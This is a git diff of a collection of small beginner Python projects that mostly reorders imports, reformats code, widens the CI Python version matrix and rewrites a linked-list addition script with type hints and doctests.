diff --git a/.github/workflows/python.yml b/.github/workflows/python.yml
index a0fe5f85114..b3475904d98 100644
--- a/.github/workflows/python.yml
+++ b/.github/workflows/python.yml
@@ -16,7 +16,7 @@ jobs:
runs-on: ubuntu-latest
strategy:
matrix:
- python-version: ['3.10', '3.11', '3.12']
+ python-version: ['3.11', '3.12','3.13','3.14']
steps:
- name: Checkout repository
uses: actions/checkout@v4
@@ -29,7 +29,7 @@ jobs:
- name: Install all dependencies and tools
run: |
python -m pip install --upgrade pip
- pip install ruff bandit mypy pytest codespell requests-mock colorama
+ pip install ruff bandit mypy pytest codespell requests-mock colorama -v
- name: Run Codespell check
run: codespell --skip "*.json,*.txt,*.pdf,*.md" || true
diff --git a/.gitignore b/.gitignore
index 67c6b519707..2e7ea91369b 100644
--- a/.gitignore
+++ b/.gitignore
@@ -6,7 +6,7 @@
*~
.DS_Store
Thumbs.db
-
+.python-version
# Python
__pycache__/
*.pyc
@@ -32,7 +32,7 @@ wheels/
*.egg-info/
.installed.cfg
*.egg
-
+.ruff_cache/*
# Testing
.pytest_cache/
.coverage
diff --git a/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py b/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py
index 8b6d120cbf7..52fc198b676 100644
--- a/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py
+++ b/1 File handle/File handle binary/question 1 (elegible for remedial, top marks).py
@@ -12,15 +12,15 @@
## Find bright students and weak students
-from dotenv import load_dotenv
import os
+from dotenv import load_dotenv
+
base = os.path.dirname(__file__)
load_dotenv(os.path.join(base, ".env"))
student_record = os.getenv("STUDENTS_RECORD_FILE")
import pickle
-import logging
# Define logger with info
# import polar
diff --git a/1 File handle/File handle binary/search record in binary file.py b/1 File handle/File handle binary/search record in binary file.py
index a6529e15240..3e7729cf377 100644
--- a/1 File handle/File handle binary/search record in binary file.py
+++ b/1 File handle/File handle binary/search record in binary file.py
@@ -1,7 +1,6 @@
# binary file to search a given record
import pickle
-from dotenv import load_dotenv
def search():
diff --git a/1 File handle/File handle binary/update2.py b/1 File handle/File handle binary/update2.py
index 02511145d7e..80f44862a3b 100644
--- a/1 File handle/File handle binary/update2.py
+++ b/1 File handle/File handle binary/update2.py
@@ -1,7 +1,8 @@
# Updating records in a binary file
# ! Have a .env file please
-import pickle
import os
+import pickle
+
from dotenv import load_dotenv
base = os.path.dirname(__file__)
diff --git a/1 File handle/File handle text/question 5.py b/1 File handle/File handle text/question 5.py
index de03fbb81fd..50307fc023a 100644
--- a/1 File handle/File handle text/question 5.py
+++ b/1 File handle/File handle text/question 5.py
@@ -1,8 +1,9 @@
"""Write a function in python to count the number of lowercase
alphabets present in a text file “happy.txt"""
-import time
import os
+import time
+
from counter import Counter
print(
diff --git a/1-file_handle b/1-file_handle
deleted file mode 160000
index c9283ce68a8..00000000000
--- a/1-file_handle
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit c9283ce68a8ff170e24082e22ed598da549c49ae
diff --git a/8_puzzle.py b/8_puzzle.py
index 7c6fc858d36..03b9410155f 100644
--- a/8_puzzle.py
+++ b/8_puzzle.py
@@ -1,5 +1,5 @@
from queue import PriorityQueue
-from typing import List, Tuple, Optional, Set
+from typing import List, Optional, Set, Tuple
class PuzzleState:
@@ -39,7 +39,6 @@ def manhattan(self) -> int:
distance += abs(x - i) + abs(y - j)
return distance
-
def is_goal(self) -> bool:
"""Check if current state matches goal."""
return self.board == self.goal
diff --git a/A solution to project euler problem 3.py b/A solution to project euler problem 3.py
index 3b34b655083..ad7d9c239aa 100644
--- a/A solution to project euler problem 3.py
+++ b/A solution to project euler problem 3.py
@@ -37,7 +37,7 @@ def solution(n: int = 600851475143) -> int:
"""
try:
n = int(n)
- except (TypeError, ValueError):
+ except TypeError, ValueError:
raise TypeError("Parameter n must be int or passive of cast to int.")
if n <= 0:
raise ValueError("Parameter n must be greater or equal to one.")
diff --git a/AREA OF TRIANGLE.py b/AREA OF TRIANGLE.py
index db9b04a5a78..c0dc7db9a96 100644
--- a/AREA OF TRIANGLE.py
+++ b/AREA OF TRIANGLE.py
@@ -1,13 +1,13 @@
-def get_valid_side(prompt:str):
- while True:
- try:
- value = float(input(prompt))
- if value <=0:
- print("Side must be positive")
- continue
- return value
- except ValueError:
- print("Invalid Input")
+def get_valid_side(prompt: str):
+ while True:
+ try:
+ value = float(input(prompt))
+ if value <= 0:
+ print("Side must be positive")
+ continue
+ return value
+ except ValueError:
+ print("Invalid Input")
a = get_valid_side("Enter side 1: ")
diff --git a/Add_two_Linked_List.py b/Add_two_Linked_List.py
index 97d10a1011b..b86e65d267b 100644
--- a/Add_two_Linked_List.py
+++ b/Add_two_Linked_List.py
@@ -1,68 +1,159 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+Add two numbers represented as linked lists.
+
+Each linked list stores digits in reverse order (head is the least significant digit).
+This allows straightforward addition with carry propagation.
+
+Example:
+ Number 946 is stored as 6 -> 4 -> 9
+ Number 22 is stored as 2 -> 2
+ Sum 968 is stored as 8 -> 6 -> 9
+"""
+
+from typing import Optional
+
+
class Node:
- def __init__(self, data):
- self.data = data
- self.next = None
+ """Singly linked list node."""
+
+ def __init__(self, data: int) -> None:
+ self.data: int = data
+ self.next: Optional["Node"] = None
class LinkedList:
- def __init__(self):
- self.head = None
+ """A singly linked list with head pointing to the least significant digit."""
+
+ def __init__(self) -> None:
+ self.head: Optional[Node] = None
- def insert_at_beginning(self, new_data):
- new_node = Node(new_data)
+ def append(self, data: int) -> None:
+ """
+ Append a new node with `data` at the end (tail).
+ This keeps the head as the least significant digit.
+ """
+ new_node = Node(data)
if self.head is None:
self.head = new_node
return
- new_node.next = self.head
- self.head = new_node
-
- def add_two_no(self, first, second):
- prev = None
- temp = None
- carry = 0
- while first is not None or second is not None:
- first_data = 0 if first is None else first.data
- second_data = 0 if second is None else second.data
- Sum = carry + first_data + second_data
- carry = 1 if Sum >= 10 else 0
- Sum = Sum if Sum < 10 else Sum % 10
- temp = Node(Sum)
- if self.head is None:
- self.head = temp
- else:
- prev.next = temp
- prev = temp
- if first is not None:
- first = first.next
- if second is not None:
- second = second.next
- if carry > 0:
- temp.next = Node(carry)
-
- def __str__(self):
- temp = self.head
- while temp:
- print(temp.data, "->", end=" ")
- temp = temp.next
- return "None"
+ curr = self.head
+ while curr.next is not None:
+ curr = curr.next
+ curr.next = new_node
+ @classmethod
+ def from_number(cls, num: int) -> "LinkedList":
+ """
+ Create a linked list representing the digits of `num`
+ with head as the least significant digit.
+
+ >>> lst = LinkedList.from_number(946)
+ >>> lst.head.data
+ 6
+ >>> lst.head.next.data
+ 4
+ >>> lst.head.next.next.data
+ 9
+ """
+ lst = cls()
+ if num == 0:
+ lst.append(0)
+ return lst
+ while num > 0:
+ lst.append(num % 10)
+ num //= 10
+ return lst
+
+ def to_number(self) -> int:
+ """
+ Convert the linked list back to an integer.
+
+ >>> LinkedList.from_number(946).to_number()
+ 946
+ """
+ result = 0
+ multiplier = 1
+ curr = self.head
+ while curr is not None:
+ result += curr.data * multiplier
+ multiplier *= 10
+ curr = curr.next
+ return result
+
+ def __str__(self) -> str:
+ """Display the linked list from head (least significant) to tail."""
+ parts = []
+ curr = self.head
+ while curr is not None:
+ parts.append(str(curr.data))
+ curr = curr.next
+ return " -> ".join(parts) if parts else "Empty"
+
+ def __repr__(self) -> str:
+ return f"LinkedList({self})"
-if __name__ == "__main__":
- first = LinkedList()
- second = LinkedList()
- first.insert_at_beginning(6)
- first.insert_at_beginning(4)
- first.insert_at_beginning(9)
- second.insert_at_beginning(2)
- second.insert_at_beginning(2)
+def add_two_numbers(l1: LinkedList, l2: LinkedList) -> LinkedList:
+ """
+ Add two numbers represented by linked lists (head = least significant digit).
- print("First Linked List: ")
- print(first)
- print("Second Linked List: ")
- print(second)
+ Returns a new LinkedList representing the sum.
+
+ Examples:
+ >>> l1 = LinkedList.from_number(946)
+ >>> l2 = LinkedList.from_number(22)
+ >>> result = add_two_numbers(l1, l2)
+ >>> result.to_number()
+ 968
+ >>> str(result)
+ '8 -> 6 -> 9'
+ """
+ dummy = Node(0) # Sentinel node
+ tail = dummy
+ carry = 0
+ p = l1.head
+ q = l2.head
+
+ while p is not None or q is not None or carry:
+ val1 = p.data if p else 0
+ val2 = q.data if q else 0
+ total = val1 + val2 + carry
+ carry = total // 10
+ digit = total % 10
+
+ tail.next = Node(digit)
+ tail = tail.next
+
+ if p:
+ p = p.next
+ if q:
+ q = q.next
result = LinkedList()
- result.add_two_no(first.head, second.head)
- print("Final Result: ")
- print(result)
+ result.head = dummy.next
+ return result
+
+
+if __name__ == "__main__":
+ # Demonstration
+ first = LinkedList.from_number(946)
+ second = LinkedList.from_number(22)
+
+ print("First Linked List (head = least significant):")
+ print(first) # 6 -> 4 -> 9
+
+ print("Second Linked List:")
+ print(second) # 2 -> 2
+
+ result = add_two_numbers(first, second)
+ print("Sum (head = least significant):")
+ print(result) # 8 -> 6 -> 9
+
+ print(f"Sum as integer: {result.to_number()}") # 968
+
+ # Run doctests
+ import doctest
+
+ doctest.testmod(verbose=True)
diff --git a/Anonymous_TextApp.py b/Anonymous_TextApp.py
index 9a47ccfc666..d55c1891cf9 100644
--- a/Anonymous_TextApp.py
+++ b/Anonymous_TextApp.py
@@ -1,4 +1,5 @@
import tkinter as tk
+
from PIL import Image, ImageTk
from twilio.rest import Client
diff --git a/Armstrong_number.py b/Armstrong_number.py
index a5b02293aaa..4d56fec54f8 100644
--- a/Armstrong_number.py
+++ b/Armstrong_number.py
@@ -2,14 +2,15 @@ def is_armstrong_number(number: str) -> bool:
"""Check if a number (as a string) is a narcissistic/Armstrong number."""
# Logic: Get the exponent (number of digits)
exponent = len(number)
-
+
# Logic: Sum each digit raised to the power in a single line
# This uses a generator, which is memory efficient.
total = sum(int(digit) ** exponent for digit in number)
-
+
# Return the boolean result instead of printing
return total == int(number)
+
# --- Main execution ---
user_input = input("Enter the number: ")
diff --git a/Audio_Summarizer.py b/Audio_Summarizer.py
index 7388fcbd123..8d2a673ae7b 100644
--- a/Audio_Summarizer.py
+++ b/Audio_Summarizer.py
@@ -1,7 +1,8 @@
-import whisper
+import os
import re
+
import openai
-import os
+import whisper
def transcript_generator():
diff --git a/AutoComplete_App/backend.py b/AutoComplete_App/backend.py
index a86e6797742..b5fae098f6a 100644
--- a/AutoComplete_App/backend.py
+++ b/AutoComplete_App/backend.py
@@ -1,5 +1,5 @@
-import sqlite3
import json
+import sqlite3
class AutoComplete:
diff --git a/AutoComplete_App/frontend.py b/AutoComplete_App/frontend.py
index 137cfaf1442..d1f926aca3a 100644
--- a/AutoComplete_App/frontend.py
+++ b/AutoComplete_App/frontend.py
@@ -1,4 +1,5 @@
from tkinter import *
+
import backend
diff --git a/Automated Scheduled Call Reminders/caller.py b/Automated Scheduled Call Reminders/caller.py
index 1349762ade0..7953cadfa2c 100644
--- a/Automated Scheduled Call Reminders/caller.py
+++ b/Automated Scheduled Call Reminders/caller.py
@@ -1,9 +1,10 @@
# The project automates calls for people from the firebase cloud database and the schedular keeps it running and checks for entries
# every 1 hour using aps scedular
# The project can be used to set 5 min before reminder calls to a set of people for doing a particular job
-from firebase_admin import credentials, firestore, initialize_app
from datetime import datetime, timedelta
from time import gmtime, strftime
+
+from firebase_admin import credentials, firestore, initialize_app
from twilio.rest import Client
# twilio credentials
diff --git a/Automated Scheduled Call Reminders/schedular.py b/Automated Scheduled Call Reminders/schedular.py
index 905adad611f..14038f59cd9 100644
--- a/Automated Scheduled Call Reminders/schedular.py
+++ b/Automated Scheduled Call Reminders/schedular.py
@@ -1,10 +1,8 @@
# schedular code for blocking schedular as we have only 1 process to run
from apscheduler.schedulers.blocking import BlockingScheduler
-
from caller import search
-
sched = BlockingScheduler()
# Schedule job_function to be called every two hours
diff --git a/Battery_notifier.py b/Battery_notifier.py
index 2f45301bc1e..68bd2367950 100644
--- a/Battery_notifier.py
+++ b/Battery_notifier.py
@@ -1,5 +1,5 @@
-from plyer import notification # pip install plyer
import psutil # pip install psutil
+from plyer import notification # pip install plyer
# psutil.sensors_battery() will return the information related to battery
battery = psutil.sensors_battery()
diff --git a/BlackJack_game/blackjack.py b/BlackJack_game/blackjack.py
index 48521562d78..dbcc91e6f05 100644
--- a/BlackJack_game/blackjack.py
+++ b/BlackJack_game/blackjack.py
@@ -1,15 +1,14 @@
# master
# master
# BLACK JACK - CASINO A GAME OF FORTUNE!!!
+# master
+import random
from time import sleep
# BLACK JACK - CASINO
# PYTHON CODE BASE
-# master
-import random
-
deck = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10, 11] * 4
random.shuffle(deck)
diff --git a/BrowserHistory/rock_paper_scissors.py b/BrowserHistory/rock_paper_scissors.py
index a9c4efa0616..05852df070c 100644
--- a/BrowserHistory/rock_paper_scissors.py
+++ b/BrowserHistory/rock_paper_scissors.py
@@ -44,7 +44,7 @@ def main():
user_choice = get_user_choice()
computer_choice = get_computer_choice()
print(f"Computer chose: {computer_choice}")
-
+
print(f"Final result : {decide_winner(user_choice, computer_choice)}")
diff --git a/BrowserHistory/tests/test_browser_history.py b/BrowserHistory/tests/test_browser_history.py
index fc07e86e0fc..53015a72afa 100644
--- a/BrowserHistory/tests/test_browser_history.py
+++ b/BrowserHistory/tests/test_browser_history.py
@@ -1,6 +1,6 @@
-import unittest
-import sys
import os
+import sys
+import unittest
# Add parent directory to path to import backend
sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
@@ -88,6 +88,7 @@ def test_complex_navigation(self):
# Verify we can't go forward to cleared history
self.assertEqual(self.browser.forward(1), "page4.com")
+
# starting point of code
if __name__ == "__main__":
unittest.main()
diff --git a/Calendar (GUI).py b/Calendar (GUI).py
index 648f60bff9f..a4b1093b2cf 100644
--- a/Calendar (GUI).py
+++ b/Calendar (GUI).py
@@ -1,5 +1,5 @@
-from tkinter import *
import calendar
+from tkinter import *
root = Tk()
# root.geometry("400x300")
diff --git a/Cat/cat.py b/Cat/cat.py
index 53271e8e28a..0e7811b5d0b 100644
--- a/Cat/cat.py
+++ b/Cat/cat.py
@@ -9,8 +9,8 @@
- Reads from stdin when no files are given
- Supports "-" as stdin
- Prints errors to stderr
-- Continues after file errors
-- Uses proper exit codes
+- Continues after file errors
+- Uses proper exit codes
- Supports:
-n : number all lines
-b : number non-empty lines
@@ -30,119 +30,119 @@
def process_stream(stream, args, state):
- """Read from a stream and write processed output to stdout."""
- for line in stream:
- is_blank = line == "\n"
-
- if args.squeeze_blank and is_blank and state["previous_was_blank"]:
- continue
-
- state["previous_was_blank"] = is_blank
-
- if args.show_ends:
- if line.endswith("\n"):
- line = line[:-1] + "$\n"
- else:
- line = line + "$"
-
- if args.number_nonblank:
- if not is_blank:
- sys.stdout.write(f"{state['line_number']:6}\t")
- state["line_number"] += 1
- elif args.number:
- sys.stdout.write(f"{state['line_number']:6}\t")
- state["line_number"] += 1
-
- sys.stdout.write(line)
-
-
-def process_file(filename, args, state):
- """Open one file and process its contents."""
- with open(filename, "r", encoding="utf-8") as file:
- process_stream(file, args, state)
-
-
-def process_files(files, args):
- """Process all given filenames."""
- had_error = False
-
- state = {
- "line_number": 1,
- "previous_was_blank": False,
- }
-
- for filename in files:
- try:
- if filename == "-":
- process_stream(sys.stdin, args, state)
- else:
- process_file(filename, args, state)
- except OSError as err:
- print(f"cat: {filename}: {err}", file=sys.stderr)
- had_error = True
-
- return had_error
-
-
-def parse_arguments():
- """Parse command-line arguments."""
- parser = argparse.ArgumentParser(description="A simple Python cat command.")
-
- parser.add_argument(
- "files",
- nargs="*",
- help="Files to read. Use '-' to read from standard input.",
- )
-
- parser.add_argument(
- "-n",
- "--number",
- action="store_true",
- help="Number all output lines.",
- )
-
- parser.add_argument(
- "-b",
- "--number-nonblank",
- action="store_true",
- help="Number non-empty output lines.",
- )
-
- parser.add_argument(
- "-s",
- "--squeeze-blank",
- action="store_true",
- help="Suppress repeated empty output lines.",
- )
-
- parser.add_argument(
- "-E",
- "--show-ends",
- action="store_true",
- help="Display $ at the end of each line.",
- )
-
- return parser.parse_args()
-
-
-def main():
- args = parse_arguments()
-
- if not args.files:
- state = {
- "line_number": 1,
- "previous_was_blank": False,
- }
- process_stream(sys.stdin, args, state)
- sys.exit(0)
-
- had_error = process_files(args.files, args)
-
- if had_error:
- sys.exit(1)
-
- sys.exit(0)
-
-
-if __name__ == "__main__":
+ """Read from a stream and write processed output to stdout."""
+ for line in stream:
+ is_blank = line == "\n"
+
+ if args.squeeze_blank and is_blank and state["previous_was_blank"]:
+ continue
+
+ state["previous_was_blank"] = is_blank
+
+ if args.show_ends:
+ if line.endswith("\n"):
+ line = line[:-1] + "$\n"
+ else:
+ line = line + "$"
+
+ if args.number_nonblank:
+ if not is_blank:
+ sys.stdout.write(f"{state['line_number']:6}\t")
+ state["line_number"] += 1
+ elif args.number:
+ sys.stdout.write(f"{state['line_number']:6}\t")
+ state["line_number"] += 1
+
+ sys.stdout.write(line)
+
+
+def process_file(filename, args, state):
+ """Open one file and process its contents."""
+ with open(filename, "r", encoding="utf-8") as file:
+ process_stream(file, args, state)
+
+
+def process_files(files, args):
+ """Process all given filenames."""
+ had_error = False
+
+ state = {
+ "line_number": 1,
+ "previous_was_blank": False,
+ }
+
+ for filename in files:
+ try:
+ if filename == "-":
+ process_stream(sys.stdin, args, state)
+ else:
+ process_file(filename, args, state)
+ except OSError as err:
+ print(f"cat: {filename}: {err}", file=sys.stderr)
+ had_error = True
+
+ return had_error
+
+
+def parse_arguments():
+ """Parse command-line arguments."""
+ parser = argparse.ArgumentParser(description="A simple Python cat command.")
+
+ parser.add_argument(
+ "files",
+ nargs="*",
+ help="Files to read. Use '-' to read from standard input.",
+ )
+
+ parser.add_argument(
+ "-n",
+ "--number",
+ action="store_true",
+ help="Number all output lines.",
+ )
+
+ parser.add_argument(
+ "-b",
+ "--number-nonblank",
+ action="store_true",
+ help="Number non-empty output lines.",
+ )
+
+ parser.add_argument(
+ "-s",
+ "--squeeze-blank",
+ action="store_true",
+ help="Suppress repeated empty output lines.",
+ )
+
+ parser.add_argument(
+ "-E",
+ "--show-ends",
+ action="store_true",
+ help="Display $ at the end of each line.",
+ )
+
+ return parser.parse_args()
+
+
+def main():
+ args = parse_arguments()
+
+ if not args.files:
+ state = {
+ "line_number": 1,
+ "previous_was_blank": False,
+ }
+ process_stream(sys.stdin, args, state)
+ sys.exit(0)
+
+ had_error = process_files(args.files, args)
+
+ if had_error:
+ sys.exit(1)
+
+ sys.exit(0)
+
+
+if __name__ == "__main__":
main()
diff --git a/Cat/test_cat.py b/Cat/test_cat.py
index 47e3fe2c370..1a2c6361401 100644
--- a/Cat/test_cat.py
+++ b/Cat/test_cat.py
@@ -4,7 +4,6 @@
import unittest
from pathlib import Path
-
CAT_SCRIPT = Path(__file__).with_name("cat.py")
diff --git a/Checker_game_by_dz/first.py b/Checker_game_by_dz/first.py
index c39d5acef8b..d03562ee0c5 100644
--- a/Checker_game_by_dz/first.py
+++ b/Checker_game_by_dz/first.py
@@ -6,9 +6,9 @@
# import libraries
import pygame as pg
from modules import statics as st
-from modules.statics import *
-from modules.checker_board import *
from modules.checker import *
+from modules.checker_board import *
+from modules.statics import *
# static variables for this particular file
fps = 60
diff --git a/Checker_game_by_dz/modules/checker.py b/Checker_game_by_dz/modules/checker.py
index 8525435aef0..70a7f4e1327 100644
--- a/Checker_game_by_dz/modules/checker.py
+++ b/Checker_game_by_dz/modules/checker.py
@@ -4,9 +4,10 @@
"""
import pygame as pg
+
from .checker_board import *
-from .statics import *
from .pieces import *
+from .statics import *
class checker:
diff --git a/Checker_game_by_dz/modules/checker_board.py b/Checker_game_by_dz/modules/checker_board.py
index 0e8615ee292..e9b061507a2 100644
--- a/Checker_game_by_dz/modules/checker_board.py
+++ b/Checker_game_by_dz/modules/checker_board.py
@@ -4,8 +4,9 @@
"""
import pygame as pg
-from .statics import *
+
from .pieces import *
+from .statics import *
# checker board creation
diff --git a/Checker_game_by_dz/modules/pieces.py b/Checker_game_by_dz/modules/pieces.py
index 3298836e1a6..1f50e9696e7 100644
--- a/Checker_game_by_dz/modules/pieces.py
+++ b/Checker_game_by_dz/modules/pieces.py
@@ -3,9 +3,10 @@
"""
-from .statics import *
import pygame as pg
+from .statics import *
+
class pieces:
padding = 17
diff --git a/Chrome Dino Automater.py b/Chrome Dino Automater.py
index 60cb1e409be..1dc46236576 100644
--- a/Chrome Dino Automater.py
+++ b/Chrome Dino Automater.py
@@ -1,9 +1,9 @@
-import pyautogui # pip install pyautogui
-from PIL import ImageGrab # pip install pillow
-
# from numpy import asarray
import time
+import pyautogui # pip install pyautogui
+from PIL import ImageGrab # pip install pillow
+
def hit(key):
pyautogui.press(key)
diff --git a/Classification_human_or_horse.py b/Classification_human_or_horse.py
index 4aa069a855a..7786d2f8da5 100644
--- a/Classification_human_or_horse.py
+++ b/Classification_human_or_horse.py
@@ -36,8 +36,9 @@
from tkinter import Tk
from tkinter.filedialog import askopenfilename
-from keras.preprocessing import image
+
import numpy as np
+from keras.preprocessing import image
Tk().withdraw()
filename = askopenfilename()
diff --git a/CliYoutubeDownloader.py b/CliYoutubeDownloader.py
index a177b65b891..7ca77744a21 100644
--- a/CliYoutubeDownloader.py
+++ b/CliYoutubeDownloader.py
@@ -1,6 +1,7 @@
-from pytube import *
import sys
+from pytube import *
+
class YouTubeDownloder:
def __init__(self):
diff --git a/CliYoutubeDownloader/CliYoutubeDownloader.py b/CliYoutubeDownloader/CliYoutubeDownloader.py
index 63a7d5fb84b..aab1c532c85 100644
--- a/CliYoutubeDownloader/CliYoutubeDownloader.py
+++ b/CliYoutubeDownloader/CliYoutubeDownloader.py
@@ -1,6 +1,7 @@
# libraraies
import sys
+
import pytube
diff --git a/Collatz Sequence/Collaze-Visualize.py b/Collatz Sequence/Collaze-Visualize.py
index 8431794e843..0a7deb79746 100644
--- a/Collatz Sequence/Collaze-Visualize.py
+++ b/Collatz Sequence/Collaze-Visualize.py
@@ -1,6 +1,8 @@
import time
+
import matplotlib.pyplot as plt
+
def collatz_sequence(n):
"""Generate the Collatz sequence for n."""
steps = [n]
@@ -12,7 +14,7 @@ def collatz_sequence(n):
def visualize(sequence, title="Collatz Sequence"):
plt.clf()
- plt.plot(sequence, marker='o')
+ plt.plot(sequence, marker="o")
plt.title(title)
plt.xlabel("Step")
plt.ylabel("Value")
@@ -30,7 +32,7 @@ def auto_mode(interval):
def on_key(event):
nonlocal stop
- if event.key == ' ':
+ if event.key == " ":
stop = True
fig = plt.figure()
diff --git a/Colors/multicoloredline.py b/Colors/multicoloredline.py
index e0d0d062cd7..a269ba97666 100644
--- a/Colors/multicoloredline.py
+++ b/Colors/multicoloredline.py
@@ -1,9 +1,10 @@
+import json
+import time
+
from rich.console import Console
+from rich.progress import BarColumn, Progress, SpinnerColumn, TextColumn
from rich.syntax import Syntax
-from rich.progress import Progress, SpinnerColumn, BarColumn, TextColumn
from rich.table import Table
-import time
-import json
console = Console()
diff --git a/Colors/pixel_sort.py b/Colors/pixel_sort.py
index f6fa4d56507..e556fb685dc 100644
--- a/Colors/pixel_sort.py
+++ b/Colors/pixel_sort.py
@@ -1,17 +1,18 @@
"""Pixel Sorting"""
# Importing Libraries
+import argparse
+import colorsys
+import math
+import os
+
import cv2
import numpy as np
-import math
-import colorsys
import pandas as pd
-import os
-import argparse
-from tqdm import tqdm
# Importing the external file Library
import sound
+from tqdm import tqdm
# Taking arguments from command line
parser = argparse.ArgumentParser() # you iniatize as such
diff --git a/Cricket_score.py b/Cricket_score.py
index 22b8f05e319..76b058313ca 100644
--- a/Cricket_score.py
+++ b/Cricket_score.py
@@ -1,9 +1,9 @@
from urllib import request
+import bs4 # Beautiful Soup for Web Scraping
+
# import os
import pyttsx3
-
-import bs4 # Beautiful Soup for Web Scraping
from win10toast import ToastNotifier
toaster = ToastNotifier()
diff --git a/Day_of_week.py b/Day_of_week.py
index c9c36bfada2..a7f2af44977 100644
--- a/Day_of_week.py
+++ b/Day_of_week.py
@@ -1,8 +1,8 @@
# Python program to Find day of
# the week for a given date
-import re # regular expressions
import calendar # module of python to provide useful fucntions related to calendar
import datetime # module of python to get the date and time
+import re # regular expressions
def process_date(user_input):
diff --git a/Downloaded Files Organizer/obs.py b/Downloaded Files Organizer/obs.py
index 1489f257041..236d7b0e56d 100644
--- a/Downloaded Files Organizer/obs.py
+++ b/Downloaded Files Organizer/obs.py
@@ -1,10 +1,11 @@
def watcher(path):
# python script to observe changes in a folder
- import time
import os
- from watchdog.observers import Observer
- from watchdog.events import FileSystemEventHandler
+ import time
+
from move_to_directory import add_to_dir
+ from watchdog.events import FileSystemEventHandler
+ from watchdog.observers import Observer
class Handler(FileSystemEventHandler):
def on_created(self, event):
diff --git a/Downloaded Files Organizer/requirements.txt b/Downloaded Files Organizer/requirements.txt
index 0f0482e781e..07ea7c118c9 100644
--- a/Downloaded Files Organizer/requirements.txt
+++ b/Downloaded Files Organizer/requirements.txt
@@ -1,5 +1,2 @@
-sys
-os
-time
psutil
watchdog
diff --git a/Droplistmenu/GamesCalender.py b/Droplistmenu/GamesCalender.py
index bfc1282adaf..4f5f679d387 100644
--- a/Droplistmenu/GamesCalender.py
+++ b/Droplistmenu/GamesCalender.py
@@ -1,27 +1,32 @@
import tkinter as tk
from tkinter import messagebox
+
from tkcalendar import Calendar
+
def show():
visitor = selected1.get()
home = selected2.get()
-
+
# Validation: Check if teams are the same
if visitor == home:
- messagebox.showwarning("Input Error", "Visitor and Home teams cannot be the same!")
+ messagebox.showwarning(
+ "Input Error", "Visitor and Home teams cannot be the same!"
+ )
return
game = f"{visitor} vs {home} on {cal.get_date()}"
-
+
# Update the Text widget
- display_area.config(state=tk.NORMAL) # Enable editing
+ display_area.config(state=tk.NORMAL) # Enable editing
display_area.insert(tk.END, game + "\n")
- display_area.config(state=tk.DISABLED) # Make read-only
-
+ display_area.config(state=tk.DISABLED) # Make read-only
+
# Optional: Clear dropdowns or reset
selected1.set("Team 1")
selected2.set("Team 2")
+
window = tk.Tk()
window.title("Game Scheduler")
window.geometry("600x550")
@@ -40,7 +45,9 @@ def show():
cal = Calendar(window, selectmode="day", year=2026, month=6, day=2)
cal.grid(row=0, column=2, rowspan=2, padx=20)
-tk.Button(window, text="Add to Schedule", command=show).grid(row=2, column=0, columnspan=2, pady=20)
+tk.Button(window, text="Add to Schedule", command=show).grid(
+ row=2, column=0, columnspan=2, pady=20
+)
# Scrollable display area
display_area = tk.Text(window, height=10, width=50, state=tk.DISABLED)
diff --git a/Emoji Dictionary/QT_GUI.py b/Emoji Dictionary/QT_GUI.py
index ef3f6f0cf40..867b5f6ff1d 100644
--- a/Emoji Dictionary/QT_GUI.py
+++ b/Emoji Dictionary/QT_GUI.py
@@ -1,12 +1,13 @@
# -*- coding: utf-8 -*-
+import os
import sys
+
+from emoji import demojize
+from PyQt5 import uic
from PyQt5.QtCore import *
from PyQt5.QtGui import *
from PyQt5.QtWidgets import *
-from PyQt5 import uic
-from emoji import demojize
-import os
class MainWindow(QMainWindow):
diff --git a/Emoji Dictionary/emoji_dictionary.py b/Emoji Dictionary/emoji_dictionary.py
index 043160a8a75..ced55591ee7 100644
--- a/Emoji Dictionary/emoji_dictionary.py
+++ b/Emoji Dictionary/emoji_dictionary.py
@@ -1,9 +1,10 @@
# Emoji Dictionary
# -----------------------------------------------------------------------------------------------------
-from tkinter import * # importing the necessary libraries
-import tkinter.messagebox as mbox
import tkinter as tk # imported tkinter as tk
+import tkinter.messagebox as mbox
+from tkinter import * # importing the necessary libraries
+
import emoji
# -----------------------------------------------------------------------------------------------
diff --git a/Extract-Table-from-pdf-txt-docx/main.py b/Extract-Table-from-pdf-txt-docx/main.py
index d74649cd054..32428de8dd0 100644
--- a/Extract-Table-from-pdf-txt-docx/main.py
+++ b/Extract-Table-from-pdf-txt-docx/main.py
@@ -1,6 +1,7 @@
# %%
-import pandas as pd
import os
+
+import pandas as pd
import tabula
from docx.api import Document
diff --git a/ExtractThumbnailFromVideo/extract_thumbnail_from_video.py b/ExtractThumbnailFromVideo/extract_thumbnail_from_video.py
index c7ecd32ef75..5896ed9c03c 100644
--- a/ExtractThumbnailFromVideo/extract_thumbnail_from_video.py
+++ b/ExtractThumbnailFromVideo/extract_thumbnail_from_video.py
@@ -1,6 +1,7 @@
-import cv2
import os
+import cv2
+
def extract_thumbnail(video_path, frame_size):
"""
diff --git a/Face_Mask_detection (haarcascade)/mask_detection.py b/Face_Mask_detection (haarcascade)/mask_detection.py
index 99396d5576f..6f20bc5c00e 100644
--- a/Face_Mask_detection (haarcascade)/mask_detection.py
+++ b/Face_Mask_detection (haarcascade)/mask_detection.py
@@ -1,6 +1,6 @@
-import tensorflow.keras
-import numpy as np
import cv2
+import numpy as np
+import tensorflow.keras
# import os
diff --git a/Flappy Bird - created with tkinter/Background.py b/Flappy Bird - created with tkinter/Background.py
index 582f2287491..379fd8ec639 100644
--- a/Flappy Bird - created with tkinter/Background.py
+++ b/Flappy Bird - created with tkinter/Background.py
@@ -1,4 +1,4 @@
-from tkinter import Tk, Canvas
+from tkinter import Canvas, Tk
from PIL.Image import open as openImage
from PIL.ImageTk import PhotoImage
diff --git a/Flappy Bird - created with tkinter/Flappy Bird.py b/Flappy Bird - created with tkinter/Flappy Bird.py
index a082e3ec1cb..5505c2f4b38 100644
--- a/Flappy Bird - created with tkinter/Flappy Bird.py
+++ b/Flappy Bird - created with tkinter/Flappy Bird.py
@@ -1,6 +1,7 @@
-import pygame
import random
+import pygame
+
# Initialize Pygame
pygame.init()
diff --git a/Flappy Bird - created with tkinter/Settings.py b/Flappy Bird - created with tkinter/Settings.py
